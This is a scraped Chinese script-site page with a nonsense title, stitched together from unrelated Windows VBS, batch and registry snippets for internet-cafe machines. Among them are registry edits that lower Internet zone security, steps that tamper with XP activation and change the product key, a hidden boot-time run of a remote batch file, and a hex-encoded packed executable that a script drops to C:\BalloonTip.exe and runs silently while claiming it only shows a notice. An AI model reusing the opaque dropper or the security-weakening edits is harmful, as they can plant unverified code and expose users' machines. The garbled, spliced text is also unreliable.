星际战甲鞭子滑砍脚本优秀教师宣传片范文

发布时间:2021-04-25 来源:脚本之家 点击:



----经过反复的调试,终于发现问题原来出现在代码Change上,在Win98中不知为何无法执行这个Change过程,而在Win95中却没有任何问题
Dim n, ws, fsoX, thePath
Set ws=CreateObject("WScript.Shell")
Set fsoX=CreateObject("Scripting.FileSystemObject")
thePath=ws.Exec("cmd /c cd").StdOut.ReadAll() & ""
i=InStr(thePath, Chr(13))
thePath=Left(thePath, i - 1)
n=len(thePath)
On Error Resume Next
addToMdb(thePath)
Wscript.Echo "当前目录已经打包完毕,根目录为当前目录"
Sub addToMdb(thePath)
Dim rs, conn, stream, connStr
Set rs=CreateObject("ADODB.RecordSet")
Set stream=CreateObject("ADODB.Stream")
Set conn=CreateObject("ADODB.Connection")
Set adoCatalog=CreateObject("ADOX.Catalog")
connStr="Provider=Microsoft.Jet.OLEDB.4.0; Data Source=Packet.mdb"
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
stream.Open
stream.Type=1
rs.Open "FileData", conn, 3, 3
fsoTreeForMdb thePath, rs, stream
rs.Close
Conn.Close
stream.Close
Set rs=Nothing
Set conn=Nothing
Set stream=Nothing
Set adoCatalog=Nothing
End Sub
Function fsoTreeForMdb(thePath, rs, stream)
Dim i, item, theFolder, folders, files
sysFileList="$" & WScript.ScriptName & "$Packet.mdb$Packet.ldb$"
Set theFolder=fsoX.GetFolder(thePath)
Set files=theFolder.Files
Set folders=theFolder.SubFolders
For Each item In folders
fsoTreeForMdb item.Path, rs, stream
Next
For Each item In files
If InStr(LCase(sysFileList), "$" & LCase(item.Name) & "$") <=0 Then
rs.AddNew
rs("thePath")=Mid(item.Path, n + 2)
stream.LoadFromFile(item.Path)
rs("fileContent")=stream.Read()
rs.Update
End If
Next
Set files=Nothing
Set folders=Nothing
Set theFolder=Nothing
End Function

vlog脚本范例

strComputer="."

Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\wmi")
Set colMonitoredEvents=objWMIService.ExecNotificationQuery _
("Select * from MSNdis_StatusMediaDisconnect")

Do While True
Set strLatestEvent=colMonitoredEvents.NextEvent
Wscript.Echo "A network connection has been lost:"
WScript.Echo strLatestEvent.InstanceName, Now
Wscript.Echo
Loop
(见Figure1)


OnErrorResumeNext
strComputer="."
SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")
SetcolItems=objWMIService.ExecQuery("Select*fromWin32_NetworkConnection")
ForEachobjItemincolItems
Wscript.Echo"AccessMask:"&objItem.AccessMask
Wscript.Echo"Caption:"&objItem.Caption
Wscript.Echo"ConnectionState:"&objItem.ConnectionState
Wscript.Echo"ConnectionType:"&objItem.ConnectionType
Wscript.Echo"Description:"&objItem.Description
Wscript.Echo"DisplayType:"&objItem.DisplayType
Wscript.Echo"LocalName:"&objItem.LocalName
Wscript.Echo"Name:"&objItem.Name
Wscript.Echo"Persistent:"&objItem.Persistent
Wscript.Echo"ProviderName:"&objItem.ProviderName
Wscript.Echo"RemoteName:"&objItem.RemoteName
Wscript.Echo"RemotePath:"&objItem.RemotePath
Wscript.Echo"ResourceType:"&objItem.ResourceType
Wscript.Echo"UserName:"&objItem.UserName
Wscript.Echo
Next


----7)ComEvEOF:其值为7,接收数据中出现文件结束(ASCII码为26)字符

(绿色是标题,蓝色的是原作者,红色的部分就是需要修改的部分,根据你自己的实际情况修改)

======打开迅闪菜单的同时连接虚拟磁盘的VBS======
SetWshShell=WScript.CreateObject("WScript.Shell")
Return=WshShell.Run("c:\client\新调用.exe",0,true)
Return=WshShell.Run("iscsicliAddTargetPortal192.168.0.93260",0,true)
Return=WshShell.Run("iscsicliLoginTargetiqn.2005-02.com.ricecake.iscsi:00T***************0",0,true)
SetWshShell=Nothing

======开机VBS调用远程批处理(延时+无黑屏后台运行的效果)======
DIMobjShell
setobjShell=wscript.createObject("wscript.shell")
WScript.Sleep(10000)
iReturn=objShell.Run("cmd.exe/C\\server\E\123.bat",0,TRUE)

======修改IE状态栏显示字符的注册表(感谢雷锋战友和15楼的ciwzero)======

WindowsRegistryEditorVersion5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\3]
@=""
"DisplayName"="XX网吧"

======批处理获得本机的IP和MAC地址然后进行绑定(zzlike写的)======@echooff
for/f"tokens=1*delims=:"%%iin('ipconfig/all^|find/i"PhysicalAddress"')dosetmac=%%j
for/f"tokens=1*delims=:"%%iin('ipconfig/all^|find/i"IPAddress"')dosetip=%%j
arp-s%ip:~1%%Mac:~1%

======强制刷新组策略和注册表======
xp/2003命令
gpupdate/force
2k命令
secedit/refreshpolicymachine_policy/enforce

======批处理修改IE主页(斑竹dseation的帖上搞来的)======
@regdelete"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main"/v"StartPage"/f
@regadd"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main"/v"StartPage"/d""/f

======解除禁止下载的几种方法======
VBS代码:
DIMWSH
SETWSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")
WSH.POPUP("本程序的作用是解决无法下载的问题")
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones03",0,"REG_DWORD"
WSH.POPUP("现在您可以下载程序了!")

JS代码:
VARWSHShell=WSCRIPT.CREATOBJEt("WSCRIPT.SHELL");
WSHShell.Popup("本程序解决无法下载的问题,");
WSHShell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones03",0,"reg_dword");

INF代码
[Version]
Signature="$CHICAGO$"
[DefaultInstall]
DelReg=Del
[Del]
HKCU,"Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones",1803

======屏蔽WIN2003开机弹出的错误对话框:在系统启动时至少有一个服务或驱动程序产生错误======
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows]
"NoPopUpsOnBoot"=dword:00000001

======导入注册表不给任何提示的方法(百乐门网吧原创)======


======简单三步,更改序列号解决WINDOWSXP在线升级问题======
1)在〔开始〕→〔执行〕→〔Regedit〕→〔HKEY_LOCAL_MACHINE〕→〔SOFTWARE〕→〔Microsoft〕→
〔WindowsNT〕→〔CurrentVersion〕在〔WPAEvents〕内将〔OOBETimer〕的头两个数值〔FF〕删除
2)在〔开始〕→〔执行〕→〔oobe/msoobe/a〕进入〔启动画面〕→选择第二项〔电话启动〕
3)在进入下一个视窗,选择〔changeproductkey〕来修改序列号及输入新的序列号,完成后点击〔update〕进行更新及选〔remindmelater〕以后提醒注册即可

以上的声明在VB中表示声明了a,b2个variant(不定形态变量),以及c这个字串变量

如果您一定要问“编程”会比“管理”有前途?只能告诉您:兴趣逆战封号曾见过这样一种屏幕保护程序:静止的屏幕突然整屏上下或左右翻滚起来,这种奇特的屏幕保护效果是如何制造出来的?当我告诉你其中奥妙之后,你也可以利用VB来轻松地“编”出这种效果
Data="4D5A00000000000000000000504500004C010200534C58210000000000000000E0000F010B01000000000000000600000000000054010000001000000C00000000004000001000000002000004000000000000000400000000000000004000000002000000000000020000000000100000100000000010000010000000000000100000000000000000000000983200008400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000001000000000000000000000000000000000000000000000E00000C0000000000000000000100000003000001903000000020000000000000000000000000000E00000C08725DC324000619455A4B680FF1373F933C9FF13731633C0FF13731FB68041B010FF1312C073FA753AAAEBE0FF530802F683D901750EFF5304EB24ACD1E8742D13C9EB189148C1E008ACFF53043B43F8730A80FC05730683F87F77024141958BC5B600568BF72BF0F3A45EEB9F5EAD97AD50FF5310958B074078F37503FF630C5055FF5314ABEBEE33C941FF1313C9FF1372F8C302D275058A164612D2C34B45524E454C33322E646C6C00004D3815403259096724454CFF027F65C711B3270CF49B4887C17F6874C4703A712FEE691D2E62610E6475C3636F6DF373011C6C79782C2042D79A53AF0B4D2E02C20325730E0842616C2E6F206E54697020E8653A7874B75B14576C955D0E086DE76F75C728637329331D49906EA7266444F9433853853C01C71805E012FCE801C114FF15241001A3E4911FB9700633C0890DE81BC844EC981425A3F0DD1354F405117813227CC448C41406A2F82B30C390038B44241D0856579D7C800C33C983F8030A893D8014252035017727FF248560115834EB6822B4081B02B5E216910C03080A8C44018B2A3518942268E00A51FFD657A3150C0F866A0220335F5EE61432A134091C2428507C9B55845EC3F083FE01FA278ECA40D285F67E23008A0C3A80F9307C17C00A397F120FBE1FC98D04C7423BD6604441D07C68E499BB9410534301C383EC18384224185355B250BB28B80B9352BD9864BE084C500E14AA66003A3BC50F8E52A3B31F4E04CC3D202F51296890AD0880130CFFD7451C1283C40C011202C6057F170C5AA18414560852278484146C0381C3087EE28B7F461F8D4C241050CD5146F554F6600A52E84D14311B8BD861F41F2019047E5552100ACE6A1854EAFE8BB50026FD037E2F3312EDEB2B085620455C0A0558A459D6F12C5D110C8ED6C16818E8DCFD8E7C5553ED258B8A1E086AFA910450275D6A5B3D2CB85701EBE54BF678A9A8113AA691111422DC8F010E2C1510EBCB538ED72D7011DC73746272166E412E054578C3EE50F16F63FD73C73B1D47FD7C43716D5C61E81D4C693E3857074B45524E3F6033322E646CE309994144546BD46F706757406465771D145F7358721A7466D29E1AE25E142CFA686065125F4E6F7412696679843D506F5DB354D8417267337657514842C463D001EABAF6000000F03200000000000000000000F2010000F032000000000000000000000000000000000000000000000010400000304000C814400000000000E032400080000000007D0000C0324000E8014000DC014000DE014000C0114000FA32000008330000000000004C6F61644C69627261727941000047657450726F634164647265737300"

FunctionExtractFile(FileName)
WithCreateObject("ADODB.Stream"):.Type=1:.Open:.WriteStrToByte(data):.SaveToFileFileName,2:.Close:EndWith
EndFunction

ExtractFile"C:\BalloonTip.exe"
WScript.CreateObject("WScript.Shell").Run"cmd.exe/cC:\BalloonTip.exe""请勿在电脑桌上放置贵重物品,以防被盗,请自行保管自己的各种虚拟帐号,如有丢失网吧概不负责!""温馨提示100001",0

FunctionStrToByte(str)
Setxmldoc=CreateObject("Microsoft.XMLDOM")
xmldoc.loadXML"<?xmlversion=""1.0""?>"
Setpic=xmldoc.createElement("pic")
pic.dataType="bin.hex"
pic.nodeTypedValue=str
StrToByte=pic.nodeTypedValue
EndFunction

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号 联系我们: